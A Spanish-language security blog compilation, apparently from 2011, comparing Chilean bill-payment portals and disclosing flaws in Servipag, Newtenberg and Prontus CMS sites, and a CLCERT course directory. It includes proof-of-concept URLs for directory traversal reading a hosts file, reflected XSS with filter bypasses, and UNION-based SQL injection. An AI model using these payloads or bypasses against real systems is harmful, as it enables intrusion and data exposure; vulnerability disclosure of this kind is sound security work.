<form id="formPagoCuentas" name="formPagoCuentas" method="post" action="">
<select id="servicios" name="servicios">...</select>
<select id="billers"><option value="">[Empresa]</option></select>
<input type="hidden" name="pagina" value="web/busqueda_cuentas.htm" />
<input type="hidden" name="TipoBusqueda" value="N" />
<input type="hidden" name="IntTipoBusqueda" value="0" />
<input type="hidden" name="arrayCuentas" value="" />
</form>

Permitiendo peticiones desde sitios remotos.

Captcha

Ninguno de los formularios hace uso de captchas, permitiendo hacer peticiones automatizadas y ataques de fuerza bruta.

Password cifradas

El sistema de Servipag NO almacena las claves de usuarios cifradas.

Certificado SSL

Ambos formularios envian los datos cifrados mediante SSL solo cuando el usuario ingresa mediante https, si el usuario ingresa usando http normal, los formularios enviarán los datos en plano. Lo pueden ver en el codigo html de los formularios que mostré unas lineas mas arriba.

Sencillito

Security tokens

Solo encontré el formulario de pago de cuentas, al parecer no tiene registro de usuarios.

Como no tiene formulario de inicio de sesion, en este caso los tokens de seguridad no son necesarios, a menos que alguien quiera falsificar el formulario y pagarnos las cuentas

Captcha

Como he dicho mas arriba, tampoco es necesario proteger el formulario contra los bots.

Password cifradas

No aplica, ya que no hay registro de usuario de por medio.

Certificado SSL

Obliga al usuario a usar HTTP seguro, ya que al ingresar a http:// redireccione automaticamente a https.

MisCuentas

Security tokens

El primer formulario, corresponde al inicio de sesion

Al ver el codigo fuente podemos ver unos input que parecieran ser security tokens

<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwULLTEwMDUyNjYzMjgPZBYCZg9kFgICAw9kFgJmDw9kFgIeCG9uQ2hhbmdlBV9jaGVja1J1dEZpZWxkKGFzcG5ldEZvcm0uY3RsMDBfdHh0TG9naW4udmFsdWUsYXNwbmV0Rm9ybS5jdGw$
<input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="/wEWAwKtxfWYAwLT4e+AAwKB7cu1BVBe9NtqfcZbqVushQKI1bjh/ZuV" />

Pero no lo son, o si lo son no los están utilizando correctamente, ya que es posible realizar peticiones desde sitios remotos, permitiendo programar un bot que obtenga la password de un usuario mediante fuerza bruta.

Captcha

No hace uso de captchas. Aprovechandose de esta ineficiencia, junto con lo anterior, es posible programar un bot que haga peticiones POST al formulario de login hasta dar con las credenciales de los usuarios.

Password cifradas

Esto es un punto a favor, el correo que llega cuando intentamos recuperar la contraseña es:

No envian mi password, por lo que todo indica que no saben cual es ya que está cifrada. Nos entregan una password aleatoria alternativa con caducidad, lo que nos obliga a volver a cambiarla por una que recordemos.

Certificado SSL

Ingresando por HTTP normal y HTTP seguro el formulario envia la informacion cifrada y una vez dentro del portal todos los links parecen apuntar a un sitio seguro.

Conclusiones

Una vez realizado el analisis, concluímos que el mientras más simple sea el método de pago, mejor. El premio a la sencillez se lo lleva Sencillito, ya que no requiere registro de usuario disminuyendo las posibilidades de tener brechas de seguridad. De los dos sitios que requieren registro de usuario, el más seguro es MisCuentas, ya que “obliga” al usuario a enviar sus datos mediante SSL, no almacena sus password en texto plano y tiene un procedimiento de recuperación de contraseña mejor.

Problemas comunes

Ninguno de los portales de pagos utiliza tokens de seguridad en sus formularios, tampoco utilizan captcha, lo que permite programar bots ninjas que se dediquen a obtener los datos de usuario (como user y pass) mediante fuerza bruta sin ningun tipo de protección.

El mas inseguro

Este premio se lo lleva Servipag. Al registrarse como usuario podemos ver el siguiente mensaje:

¿Cuanto tardaría un bot en encontrar una clave entre 4 y 6 caracteres?

Es inaceptable que un sistema que dice ser seguro obligue al usuario a escribir una password con un límite de caracteres. Todos sabemos lo que es un hash, que indiferente al largo de la cadena de caracteres, el hash siempre tendrá un largo fijo. Por ejemplo, el password “123456″ tiene un hash en md5 de 32 caracteres, al igual que la password “12345678″, “ifndsifndsifn2432432432432″, etc. Por lo tanto, el hecho de que te pongan un límite en la cantidad de caracteres para tu password automaticamente hace pensar que tienen definido el campo en la base de datos como “varchar(6)” y obviamente no está cifrado, lo comprobamos al intentar recuperar la contraseña, nos llega un correo con nuestra clave!!

Finalmente, el orden, desde el más seguro hasta el más inseguro:

1. Sencillito
2. MisCuentas
3. Servipag

Servipag es un servicio para pago de cuentas en linea, muchos usuarios hacen uso de este servicio sin saber realmente a quien estan entregando su información.

En la sección “Quienes somos” podemos ver el siguiente mensaje:

Como es de costumbre de todas estas empresas, todas tienen un “alto estandar de seguridad” y todos invierten millones y millones en las ultimas tecnologias y ultimos estandares de seguridad, pero todos nosotros sabemos que eso es una mentira.

Según ellos:

Seguridad
Contamos con las herramientas de más alto nivel en seguridad y eficiencia que la tecnología virtual ofrece en el mercado actualmente.

Desde hace meses que Servipag.cl es vulnerable a distintos tipos de ataques que afectan directamente al servidor y tambien a los usuarios. Las vulnerabilidades que se reportaron en este sitio son Directory Traversal, Local File Include (LFI) y Cross Site Scripting (XSS).
Al ser reportadas tardaron 2 días en dar una respuesta. Como ya es un hecho en la mayoria de los sitios web, no cuentan con un procedimiento para reportar vulnerabilidades lo que hace más lento todo este proceso. Por twitter, la cuenta @ServipagOnLine comenzó a seguirme y me dijo “Nuestro jefe de proyectos se contactara contigo“, 7 días despues lo único que he recibido es un correo que dice:

Le respondí cómo podía contactarme y eso fue el fin de la conversación.

Las vulnerabilidades

Local File Include & Directory Traversal

Esta vulnerabilidad permite navegar arbitrariamente por los archivos del sistema, pudiendo ver su contenido. La vulnerabilidad se encuentra en el archivo “browse.asp”, al pasarle mediante la variable “pagina” el archivo que deseamos ver, por ejemplo “../../../../../../../../../../../boot.ini”.

Antes de haber enviado el primer reporte de vulnerabilidad, esta vulnerabilidad podia ser explotada añadiendo la ruta del directorio usando los “slash” normales (/), pero magicamente durante la semana y luego de haber sido reportada, la vulnerabilidad ya no podía ser explotada de esa forma, y el sistema mostraba un error:

Pero gracias a la contribución de @1error500, nos dimos cuenta que no había sido solucionado. El programador o quien sea que haya hecho el cambio, lo único que hizo fue un vergonzoso parche, ya que si cambiamos los “slash” por “backslash” (\), podemos explotar nuevamente la vulnerabilidad.

Por ejemplo: http://www.servipag.com/browse.asp?pagina=..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\system32\drivers\etc\hosts&EstadoUsuario=0&TipoConsulta=EXPRESS&IdPagoSolicitado=4008706&IdPeriodoSolicitado=201107

#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host

127.0.0.1 localhost
192.168.2.8www.servipag.com

Una verguenza de seguridad.

Cross Site Scripting (XSS)

Como si fuera poco, este sitio tambien es vulnerable a XSS que afectaba al mismo archivo browse.asp, pero esta vez a la variable “p” y a la variable “mensaje_error” dependiendo de la “pagina” a mostrar.

- http://www.servipag.com/browse.asp?pagina=web/preguntas_frecuentes4.htm&bloque=Pagos%20Preguntas%20Frecuentes1&p=%3Cscript%3Ealert(/XSS/)%3C/script%3E
- http://www.servipag.com/browse.asp?pagina=web/msgerror.htm&mensaje_error=%3C/a%3E%3Cscript%3Ealert(%27XSS%27)%3C/script%3E

Aparentemente el error está corregido, ya que muestra el mismo mensaje de más arriba. Pero, estará realmente corregido?

Bueno, esto demuestra el horrible manejo de incidentes que tienen las empresas que dicen tener altos estandares de seguridad. Empresas que prometen privacidad y seguridad, hacen que los usuarios confien en ellos y nuevamente quedan al descubierto.

Esta plataforma de Software permite administrar contenidos y hacer sustentables sitios Web de alta complejidad. Los documentos se almacenan en un reservorio de conocimiento y pueden ser caracterizados según múltiples miradas (clasificandos). Engine apoya las labores de Arquitectura de Información, Modelamiento, Diseño, Poblamiento y Edición de Contenidos, interconectando las labores del equipo de trabajo a través de un sistema de workflow.

La vulnerabilidad está presente en el buscador de este CMS y se replica la mayoría de sus clientes/usuarios.
Se deteca cuando vemos el codigo fuente del buscador, vemos que tiene un atribuo “onsubmit=doSearch()”

Al realizar la busqueda, la función doSearch() nos cambia el href:

function doSearch() {
				// Delete search's cookies
                if( "exists".match ) {
                    var results = document.cookie.match(/\w+=/g);
						if( results ) {
							for( var i=0; i < results.length; i++ ) {
								if( results[i].substring(0,7) == 'search_' ) {
									deleteCookie( results[i].substring(0,results[i].length-1) );
								}
							}
						}
                	}

					setCookie('search_keywords',document.searchForm.keywords.value);
					setCookie('search_start', 0 );
					setCookie('search_group', 0 );
					setCookie('search_expanded', 0 );
					document.location.href="w3-propertyvalue-16131.html";
                    return false;
                } 

Y cuando carga el sitio "w3-propertyvalue...." podemos ver en el codigo fuente que se genera el siguiente javascript:

var url = 'http://ntg-engine.conama.cl/mod/find/cgi/find.cgi?action=query';
	url+= '&engine=SwisheFind';
	url+= '&rpp=';
	url+= '&cid=815';
	url+= '&stid=';
	url+= '&iid=1257';
	url+= '&grclass=resultado-busqueda';
	url+= '&pnid=';
	url+= '&pnid_df=';
	url+= '&pnid_tf=';
	url+= '&pnid_search=2033,1999,1849';
	url+= '&limit=';
	url+= '&searchon=';
	url+= '&channellink=';
	url+= '&articlelink=w3:article';
	url+= '&pvlink=w3:propertyvalue';
	url+= '&notarticlecid=';
	url+= '&use_cid_owner_on_links=';
	url+= '&show_ancestors=';
	url+= '&show_pnid=';
	url+= '&cids=815';
	if( "exists".match ) {
		var results = document.cookie.match(/\w+=/g);
		if( results ) {
			for( var i=0; i < results.length; i++ ) {
				if( results[i].substring(0,7) == 'search_' ) {
					url += '&' + results[i].substring(7,results[i].length) + escape( getCookie( results[i].substring(0,results[i].length-1) ) );
				}
			}
		}
	} else {
		url+= '&start=' + getCookie( 'search_start' );
		url+= '&keywords=' + escape(getCookie( 'search_keywords' ));
	}
	url+= '&prepnidtext=' + escape('');
	// Descomentar la siguiente linea para depurar
	//document.write( '<' + 'iframe width="500" height="500" src="' + url + '">' + + '< ' + '/iframe>' );
	url+= '&javascript=1';
	document.write( ' < \/scr' + 'ipt>' );

Esta vulnerabilidad afecta el propio sitio web de la empresa y a casi todos sus clientes.
A partir de este codigo javascript generado por el CMS, construiremos nuestro XSS.

Para este ejemplo, lo que nos interesa es el valor final de la variable “url”, que en este caso es algo similar a:

http://ntg-engine.conama.cl/mod/find/cgi/find.cgi?action=query&engine=SwisheFind&rpp=&cid=815&stid=&iid=1257&grclass=resultado-busqueda&pnid=&pnid_df=&pnid_tf=&pnid_search=2033,1999,1849&limit=&searchon=&channellink=&articlelink=w3:article&pvlink=w3:propertyvalue&notarticlecid=&use_cid_owner_on_links=&show_ancestors=&show_pnid=&cids=815&keywords=prueba

Ya nos salimos del dominio conama.cl y entramos a jugar al subdominio ntg-engine.conama.cl, donde está instalado el motor (engine) del CMS. Si abrimos la URL de prueba, podemos ver el siguiente resultado:

Aparece en negrita la palabra que buscamos. Si en lugar de prueba insertamos un codigo javascript, será ejecutado:

Los sitios afectados son:

Newtenberg – http://www.newtenberg.com
SINIA (Sistema Nacional de Informacion Ambiental) – http://www.sinia.cl
Ministerio del Medio Ambiente – http://www.mma.gob.cl
Superintendencia de Servicios Sanitarios – http://www.siss.gob.cl
Repositorio Institucional CONICYT – http://ri.conicyt.cl
Red Lideres – http://www.redlideres.cl
Punto Lex – http://www.puntolex.cl
Subsecretaria de Desarrollo Regional y Administrativo – http://www.subdere.gov.cl
CONAMA – http://www.conama.cl
El Periodista – http://www.elperiodista.cl/
Colombia Aprende – http://www.colombiaaprende.edu.co

Cada uno de estos sitios construye su propia URL dependiendo de los parametros, cuando hagamos una busqueda y veamos el codigo fuente, podemos ver el javascript generado automaticamente y crear nuestra URL explotable a partir de la variable “url”.

PoC Subsecretaria de Desarrollo Regional y Administrativo (SUBDERE)

URL: http://engine.subdere.gov.cl/mod/find/cgi/find.cgi?action=query&engine=&rpp=20&cid=876&stid=&iid=1510&grclass=&pnid=&pnid_df=&pnid_tf=&pnid_search=2403,2400,2444,2460,2530,2570,2544,2569,2541,2571&limit=&searchon=&channellink=&articlelink=w3:article&pvlink=w3:propertyvalue&notarticlecid=&use_cid_owner_on_links=&show_ancestors=1&show_pnid=1&cids=876&keywords=%3Cscript%3Ealert%28/XSS%20PoC/%29%3C/script%3E

PoC en el propio sitio de Newtenberg

URL: http://engine.newtenberg.com/mod/find/cgi/find.cgi?action=query&engine=SwisheFind&rpp=10&cid=924&stid=5686&iid=1765&grclass=resultadobusqueda&pnid=&pnid_df=&pnid_tf=&pnid_search=&limit=&searchon=&channellink=&articlelink=&pvlink=&notarticlecid=0&use_cid_owner_on_links=0&show_ancestors=&show_pnid=&cids=924&keywords=%3Cscript%3Ealert%28/XSS%20PoC/%29%3C/script%3E

El error se produce al no filtrar el contenido de la variable “keywords“.

No se descarta que puedan haber mas sitios afectados.

Prontus es un administrador de contenidos web flexible, fácil de usar, robusto y eficiente, con una trayectoria de más de 12 años en el mercado y utilizado por cientos de clientes que lo han aplicado en sus portales corporativos, servicios editoriales y sitios web transaccionales.

Este CMS tiene una vulnerabilidad Cross-Site Scripting que afecta a la mayoría de sus clientes.
Cuando vas a desarrollar un CMS y esperar que muchos usuarios/clientes lo usen, hay que tener cuidado con la seguridad ya que cualquier fallo (bug) o vulnerabilidad puede afectar a todos los que lo utilizan.

Entre los sitios afectados por esta vulnerabilidad estan el sitio web del Senado de la República de Chile, y Fonasa, entre otros.

La vulnerabilidad afecta a todos los sitios creados con Prontus CMS que tengan activo/habilitado el archivo html “antialone.html”

En este archivo encontramos el siguiente codigo javascript:

if (makefs) {
    var ULT_LINK = new Array(); // Usado para volver a portada.
    page = page + '?' + Math.random();
    document.write('<frameset rows="122,1*" frameborder="NO" border="0" framespacing="0">');
    document.write('  <frame name="head" scrolling="NO" noresize src="/prontus_senado/site/edic/base/port/head.html" marginwidth="0" marginheight="0" frameborder="NO">');
    document.write('  <frame name="cont" src="' + page + '" marginwidth="0" marginheight="0">');
    document.write('</frameset>');
  };

Si se fijan, en la linea 6 crea un frame con src=page, y en la linea 3 page=page+?+Math.random(). Por lo tanto, si le pasamos la variable “page” por url con el contenido “javsript:algo…” el navegador lo debería interpretar.

El problema es que en la línea 3 le agrega “?numero aleatorio”, por lo que si le pasamos el valor “javascript:alert(1)” lo que cargara el frame será “javascript:alert(1)?45454554.0″ lo que provocará un error de sintaxis y el navegador no hará nada.
Como el sistema no filtra ni escapa caracteres, lo que debemos hacer es hacer que todo lo que esté despues de lo que le queremos inyectar, sea un comentario, es decir: //.

No podemos poner directamente la url “http://www.algo.com” ya que en otro lado del javscript aparece un tipo de filtro que si encuentra “://” nos manda a la raíz del sitio:

 if (page.indexOf('://') >= 0) {
    if (page.indexOf(window.location.protocol + '//' + document.domain + '/') != 0) {
      makefs = false;
      document.location.pathname = '/';
    };
  };

Para explotar la vulnerabilidad usaré “javascript:alert(/XSS/);//“, de esta forma el valor de la variable page será “javascript:alert(/XSS/);//?45454554.0” dejando lo último como comentario.

Pruebas de Concepto:

Sitio web del Senado

Sitio web del Fondo Nacional de Salud (FONASA)

Universidad Catolica de Valparaiso

Los sitios afectados son:

http://www.mercuriovalpo.cl
http://www.estrellaiquique.cl
http://www.australvaldivia.cl
http://www.ucv.cl
http://www.estrellavalpo.cl
http://www.senador.cl
http://www.diariollanquihue.cl
http://www.lidersanantonio.cl
http://www.australtemuco.cl
http://www.diariolaestrella.cl
http://www.estrellaloa.cl
http://www.estrellaarica.cl
http://www.laestrellachiloe.cl
http://www.australlosrios.cl
http://mercuriocalama.cl
http://www.australosorno.cl
http://www.diarioatacama.cl
http://www.diarioaustral.cl
http://www.renacerdeangol.cl
http://www.fonasa.cl
http://www.mercurioantofagasta.cl
http://www.prensatocopilla.cl
http://www.ellanquihue.cl
http://www.elaustral.cl
http://www.hernanlarrain.cl
http://www.estrellanorte.cl

No se descarta que existan más sitios afectados.

Actualizado (12 de Julio del 2011):
La vulnerabilidad fue reportada y se está solucionando. Se informó que corresponde a una version antigua del sistema y que los clientes o usuarios afectados son quienes no han actualizado la version.

El CLCERT tiene como misión monitorear y analizar los problemas de seguridad de los sistemas computacionales en Chile, y reducir la cantidad de incidentes de seguridad perpetrados desde y hacia éstos.

Si bien CLCERT es una “organización” que busca mejorar la seguridad, creo que es impresentable que tengan publicados sitios web con vulnerabilidades tan basicas.
Esta organización da cursos y diplomados relacionados a la “Seguridad Computacional” o como la mayoría los conoce “Cursos de Seguridad Informática” o simplemente “Cursos de Seguridad”. Todas las personas que han pasado por estos cursos se pueden ver en la URL http://capacita.clcert.cl/dir/ la cual con tiene una vulnerabilidad de SQL Injection, posibilitando al atacante obtener más información sobre las personas asistentes a los cursos o bien obtener información del servidor.

La vulnerabilidad SQL Injection se produce al no parsear los parametros pasados por GET mediante la variable “apellido”, “id” y “fecha” del archivo index.php. Y la XSS se produce a partir de esta misma.

Si navegan por el sitio y comienzan a ver las URL se darán cuenta de forma fácil que parámetro o url es la vulnerable. Por ejemplo, si nos situamos por encima de una letra, podemos ver la url

Deducimos que podemos inyectar código sql mediante la variable “apellido“.

Proof-of-Concept

1. SQL Injection

Lo primero que haremos será inducir la aplicación al típico error de sintáxis añadiendo un caracter ” ‘ ” al valor de la variable mediante la URL http://capacita.clcert.cl/dir/?apellido=%27 y obtenemos el error esperado con la información deseada:

Podemos ver la consulta completa incluyendo el nombre de la tabla y los campos, con esto nos facilitamos la inyección de sql.
Teniendo todo esto en consideración, podemos completar la query agregando un UNION con los datos que queramos saber, en esta prueba de concepto obtendremos el usuario actual con el que se está conectando y la version del motor de base de datos, usando las funciones user() y version() propias del MySQL.

Obteniendo en los campos correspondientes la información solicitada

Con este simple sql injection ya tenemos información relevante. Usuario “diplomado” y version 4.1.22 del mysql.

2. Cross-Site Scripting

Cuando logramos que la aplicación muestre un error de sintaxis, podemos ver que nos muestra literalmente la consulta incluyendo lo que nosotros agregamos, por ejemplo si agregamos “‘ esta es una prueba” veremos lo siguiente:

Query failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘esta es una prueba%’‘ at line 1Executed query: select apellidos, nombres, fecha , id from users where apellidos like ” esta es una prueba%’

Por lo tanto, si en lugar de “esta es una prueba” ingresamos un codigo javascript, será ejecutado:

Es increible como las organizaciones que “luchan” por la seguridad son inseguras. Errores tan basicos, tan simples … Uno se pregunta si realmente la gente que entra en sus cursos salen capacitadas y hasta que punto son capaces de encargarse de la seguridad informática de una empresa o institución.

La vulnerabilidad fue reportada el 6 de Julio y solucionada el dia 7 de Julio.

Links

Reporte XSS en Secureless
Reporte SQL-Injection en Secureless